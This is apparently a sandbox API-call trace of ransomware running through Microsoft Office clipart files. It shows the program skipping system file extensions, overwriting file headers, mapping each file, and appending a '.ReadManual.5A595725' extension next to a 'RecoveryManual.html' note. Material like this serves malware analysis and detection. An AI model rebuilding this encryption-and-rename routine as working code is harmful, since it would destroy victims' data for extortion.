CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.210] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3292) returned 1 [0274.210] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcdc, lpName=0x0) returned 0x184 [0274.210] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.211] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.211] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.213] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.213] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcdc) returned 0x2f0000 [0274.213] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.213] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39488184925) returned 1 [0274.213] CloseHandle (hObject=0x184) returned 1 [0274.213] SetSecurityInfo () returned 0x57 [0274.213] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.213] CloseHandle (hObject=0x194) returned 1 [0274.213] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1573e300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1573e300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL01041_.WMF", cAlternateFileName="")) returned 1 [0274.213] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL01041_.WMF" | out: lpString1="SL01041_.WMF") returned="SL01041_.WMF" [0274.213] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.214] StrStrIW (lpFirst="SL01041_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.214] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.214] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.214] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" [0274.214] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.ReadManual.5A595725" [0274.214] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.ReadManual.5A595725") returned 87 [0274.214] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39488279152) returned 1 [0274.214] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf")) returned 0x20 [0274.214] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.215] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1548) returned 1 [0274.215] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60c, lpName=0x0) returned 0x184 [0274.215] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.215] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.216] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.217] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.217] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60c) returned 0x2f0000 [0274.217] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.217] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39488625486) returned 1 [0274.218] CloseHandle (hObject=0x184) returned 1 [0274.218] SetSecurityInfo () returned 0x57 [0274.218] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.218] CloseHandle (hObject=0x194) returned 1 [0274.218] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd76600, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7cd76600, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL01394_.WMF", cAlternateFileName="")) returned 1 [0274.218] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL01394_.WMF" | out: lpString1="SL01394_.WMF") returned="SL01394_.WMF" [0274.218] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.218] StrStrIW (lpFirst="SL01394_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.218] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.218] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.218] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" [0274.218] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.ReadManual.5A595725" [0274.218] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.ReadManual.5A595725") returned 87 [0274.218] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39488720331) returned 1 [0274.218] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf")) returned 0x20 [0274.219] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.220] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6916) returned 1 [0274.220] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b04, lpName=0x0) returned 0x184 [0274.220] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.220] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.220] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.222] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.224] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b04) returned 0x2f0000 [0274.224] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.224] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39489310339) returned 1 [0274.224] CloseHandle (hObject=0x184) returned 1 [0274.224] SetSecurityInfo () returned 0x57 [0274.225] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.225] CloseHandle (hObject=0x194) returned 1 [0274.225] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f2b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f2b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL01395_.WMF", cAlternateFileName="")) returned 1 [0274.225] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL01395_.WMF" | out: lpString1="SL01395_.WMF") returned="SL01395_.WMF" [0274.225] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.225] StrStrIW (lpFirst="SL01395_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.225] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.225] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.225] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" [0274.225] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.ReadManual.5A595725" [0274.225] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.ReadManual.5A595725") returned 87 [0274.225] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39489406074) returned 1 [0274.225] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf")) returned 0x20 [0274.229] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.229] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5004) returned 1 [0274.229] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x138c, lpName=0x0) returned 0x184 [0274.229] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.230] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.230] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.232] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.232] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x138c) returned 0x2f0000 [0274.232] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.232] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39490102465) returned 1 [0274.232] CloseHandle (hObject=0x184) returned 1 [0274.232] SetSecurityInfo () returned 0x57 [0274.232] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.232] CloseHandle (hObject=0x194) returned 1 [0274.233] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL01565_.WMF", cAlternateFileName="")) returned 1 [0274.233] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL01565_.WMF" | out: lpString1="SL01565_.WMF") returned="SL01565_.WMF" [0274.233] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.233] StrStrIW (lpFirst="SL01565_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.233] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.233] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.233] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" [0274.233] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.ReadManual.5A595725" [0274.233] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.ReadManual.5A595725") returned 87 [0274.233] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39490196279) returned 1 [0274.233] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf")) returned 0x20 [0274.233] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.234] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27844) returned 1 [0274.234] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6cc4, lpName=0x0) returned 0x184 [0274.234] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.235] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.235] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.236] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.236] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6cc4) returned 0x2f0000 [0274.237] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.237] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39490547513) returned 1 [0274.237] CloseHandle (hObject=0x184) returned 1 [0274.237] SetSecurityInfo () returned 0x57 [0274.237] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.237] CloseHandle (hObject=0x194) returned 1 [0274.237] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6e400, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8a6e400, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00017_.WMF", cAlternateFileName="")) returned 1 [0274.237] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00017_.WMF" | out: lpString1="SO00017_.WMF") returned="SO00017_.WMF" [0274.237] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.237] StrStrIW (lpFirst="SO00017_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.237] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.237] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.238] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" [0274.238] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.ReadManual.5A595725" [0274.238] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.ReadManual.5A595725") returned 87 [0274.238] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39490638671) returned 1 [0274.238] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf")) returned 0x20 [0274.238] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.239] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13994) returned 1 [0274.239] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36aa, lpName=0x0) returned 0x184 [0274.239] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.240] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.240] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.244] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.244] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, 